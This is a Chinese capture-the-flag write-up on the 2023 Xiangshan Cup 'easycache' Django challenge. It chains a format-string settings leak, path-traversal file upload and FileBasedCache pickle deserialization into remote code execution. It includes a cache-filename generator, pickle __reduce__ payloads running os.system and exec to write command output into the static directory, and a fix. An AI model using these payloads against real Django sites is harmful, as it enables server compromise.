比赛时 fix 了但没利用成,和 Django 的底层实现有关,最近忙完考证啥的抽空做了一下,题目食用体验不错,也再次感受到 AWDPlus fix 先很重要‼️
0x01 环境搭建
题目压缩包解压缩后,得到 src.zip 和 dist-packages.tar.gz ,再次解压两个压缩包,用 pycharm 打开,右键 dist-packages,选择 Mark Directory as Sources Root,然后运行 manage.py ,就会加载本地依赖了(毕竟比赛时断网),不过在加载 @cache_page
时报错
File "/xxx/xxx/ezcache_46a36a7fc92468cddf08cd7c45883491/src/app/urls.py", line 20, in <module>
from . import views
File "/xxx/xxx/ezcache_46a36a7fc92468cddf08cd7c45883491/src/app/views.py", line 7, in <module>
@cache_page(60)
经过 debug 发现,发现 src/app/settings.py
下的 CACHES.default.LOCATION
是通过环境变量加载,然后我们本地没定义,为 None
,然后就报错了… (比赛时就注释掉装饰器继续做 fix 了)
CACHES = {
....
'LOCATION': os.environ.get('cache_path'),
....
}
我们传入个环境变量值即可,此外 STATIC_ROOT
改为 ./static/
, TEMPLATES[].DIRS
改为 ./app/templates
。然后 ./src/app/views.py
第 25 行里的 /app/static
目录也要改为相对目录 ./static
即可
0x02 漏洞分析
题目基于 django,核心代码(views.py)
@cache_page(60)
def index(request):
return render(request,'index.html')
def generate_page(request):
if request.method == "POST":
intro = str(request.POST.get('intro'))
if 'admin' in intro or 'config.' in intro:
return HttpResponse("can't be as admin")
outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
f = request.FILES.get("file", None)
filename = request.POST.get('filename') if request.POST.get('filename') else f.name
if '.py' in filename:
return HttpResponse("no py")
if f is None:
return HttpResponse("no file")
else:
with open("./static/{}".format(filename), 'wb+') as ff:
for chunk in f.chunks():
ff.write(chunk)
return HttpResponse(outer_html + "</p><img src='/static/{}'>".format(filename))
else:
return HttpResponse("unable")
generate_page
方法可以除了 .py
结尾以外的任意上传文件,不过注意 f.name
是无法穿越到,获取到是文件 basename,但 request.POST.get('filename')
可以获取我们输入的字符串为文件名,
这里有个小知识点,
with open("./static/{}".format(filename), 'wb+') as ff
在 python3 是可以目录穿越的,python2 不行。
题目名字为 easycache,我们跟一下 django 的 @cache_page
装饰器实现,django/core/cache/init.py
def _create_cache(backend, **kwargs):
try:
# Try to get the CACHES entry for the given backend name first
try:
conf = settings.CACHES[backend]
except KeyError:
....
发现会读取 settings.py
里的 BACKEND
也就是实现后端,题目定义的为
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': os.environ.get('cache_path'),
}
}
实现代码在 django/core/cache/backends/filebased.py
目录中,get 方法存在 pickle 反序列化
def get(self, key, default=None, version=None):
fname = self._key_to_file(key, version)
try:
with open(fname, 'rb') as f:
if not self._is_expired(f):
return pickle.loads(zlib.decompress(f.read()))
except FileNotFoundError:
pass
return default
不过他的命名 841d31a6d146abdb7e05d9cea0273545.djcache
比较随机,而且 cache 目录从环境变量获取,我们需要知道 cache 的文件路径,然后通过任意文件上传覆盖,我们恶意构造的序列化数据。
generate_page
方法中的outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
存在格式化字符串漏洞,那就可以读取任意 user 对象里的内容,不过发现常用的都被 ban 了
{user.groups.model._meta.app_config.module.admin.settings}
{user.user_permissions.model._meta.app_config.module.admin.settings}
admin
和 config.
在黑名单中,继续找找,找到了条不在黑名单中的(其实最好是这个脚本,看看有哪些访问路径能获取到,挖坑)
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES}
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.BASE_DIR}
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.STATIC_ROOT}
现在路径拿到了,还差 cache 的名字了
看下 cache 名字的核心生成逻辑,其实是固定的,主要是根据请求的 url 来生成
def _generate_cache_key(request, method, headerlist, key_prefix):
"""Return a cache key from the headers given in the header list."""
ctx = hashlib.md5()
for header in headerlist:
value = request.META.get(header)
if value is not None:
ctx.update(value.encode())
url = hashlib.md5(iri_to_uri(request.build_absolute_uri()).encode('ascii'))
cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
key_prefix, method, url.hexdigest(), ctx.hexdigest())
return _i18n_cache_key_suffix(request, cache_key)
def _generate_cache_header_key(key_prefix, request):
"""Return a cache key for the header cache."""
url = hashlib.md5(iri_to_uri(request.build_absolute_uri()).encode('ascii'))
cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
key_prefix, url.hexdigest())
return _i18n_cache_key_suffix(request, cache_key)
有的东西需要改改,因为很多值是 django 启动时动态获取的,仿写
# coding: utf-8
import hashlib
from django.conf import settings
from django.utils.translation import get_language
from django.utils.timezone import get_current_timezone_name
from django.utils.encoding import iri_to_uri
# 项目源码的 settings
import src.app.settings
settings.configure(src.app.settings)
def _i18n_cache_key_suffix(cache_key):
"""If necessary, add the current locale or time zone to the cache key."""
if settings.USE_I18N or settings.USE_L10N:
# first check if LocaleMiddleware or another middleware added
# LANGUAGE_CODE to request, then fall back to the active language
# which in turn can also fall back to settings.LANGUAGE_CODE
# cache_key += '.%s' % getattr(request, 'LANGUAGE_CODE', get_language())
cache_key += '.%s' % get_language()
if settings.USE_TZ:
cache_key += '.%s' % get_current_timezone_name()
return cache_key
def _generate_cache_header_key(uri):
# 默认是空
key_prefix = ''
"""Return a cache key for the header cache."""
url = hashlib.md5(iri_to_uri(uri).encode('ascii'))
cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
key_prefix, url.hexdigest())
return _i18n_cache_key_suffix(cache_key)
def _generate_cache_key(uri, method):
# 默认是空
key_prefix = ''
"""Return a cache key for the header cache."""
url = hashlib.md5(iri_to_uri(uri).encode('ascii'))
cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
key_prefix, method, url.hexdigest(), hashlib.md5().hexdigest())
return _i18n_cache_key_suffix(cache_key)
def make_key(k):
# 默认是 1
version = 1
return '%s:%s:%s' % ("", version, k)
request_uri = 'http://xxxx/index'
cache_header_key = make_key(_generate_cache_header_key(request_uri))
print(''.join([hashlib.md5(cache_header_key.encode()).hexdigest(), '.djcache']))
# method 对应 url 请求方法 GET POST等
cache_key = make_key(_generate_cache_key(request_uri, "GET"))
print(''.join([hashlib.md5(cache_key.encode()).hexdigest(), '.djcache']))
脚本运行结果
和 Django 生成的一样
题目中的序列化方式是
def _write_content(self, file, timeout, value):
expiry = self.get_backend_timeout(timeout)
file.write(pickle.dumps(expiry, self.pickle_protocol))
file.write(zlib.compress(pickle.dumps(value, self.pickle_protocol)))
仿照逻辑写一个恶意序列化类
class RCE:
def __reduce__(self):
return os.system, ("whoami",)
expire = time.time() + 60 # timeout
payload = pickle.dumps(expire, pickle.HIGHEST_PROTOCOL)
payload += zlib.compress(pickle.dumps(RCE(), pickle.HIGHEST_PROTOCOL))
本地打成功了,比赛环境不出网(应该),但 os.system
这种执行方式,直接输出回显到控制台,而不是返回页面
def get(self, key, default=None, version=None):
.....
return pickle.loads(zlib.decompress(f.read()))
....
返回值执行成功是 0,执行到下一个函数会报错,而且题目 debug
为 False
,我们无法利用报错抛出异常来获取结果
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('whoami').read())",))
不过题目提供一个读文件的 static
路径,我们把 flag 文件移过去然后访问即可
class RCE:
def __reduce__(self):
# return os.system, ("ls -alh / > " + static_path,)
return exec, ("__import__('os').system('ls -alh / > " + os.path.join(static_path, 'output.txt') + "')",)
当然 pickle 反序列化无回显也有像报错注入和时间注入这种姿势,可以参考 https://www.cnblogs.com/sijidou/p/16305695.html
总体利用思路
-
通过格式化字符串漏洞获取 django 的运行路径、缓存路径和静态文件路径,并得到缓存路径相对于静态文路径 -
根据 flask cache 路由拼接的 url 生成缓存文件名,构造恶意序列化数据 -
通过文件上传目录穿越至缓存目录 -
然后 flask cache 路由触发反序列化 rce,并访问 static 静态资源路径获取命令执行结果
0x03 FIX
经过分析,得知利用漏洞前提是需要获取缓存目录,而获取缓存目录需要利用利用格式化字符串漏洞,因为 ban 掉即可
if "user" in intro.lower() or "{" in intro.lower() or "}" in intro.lower():
return HttpResponse("can't be as admin")
注意不能直接 ban 掉目录穿越的字符 ..
因为会导致 check 失败
0x04 One More Thing
题目源码和完整利用 exp 下载可以在【听雨安全】公众号回复【23ezcache】获取,欢迎各位师傅交流~
原文始发于微信公众号(听雨安全):2023香山杯决赛 easycache Django 缓存反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论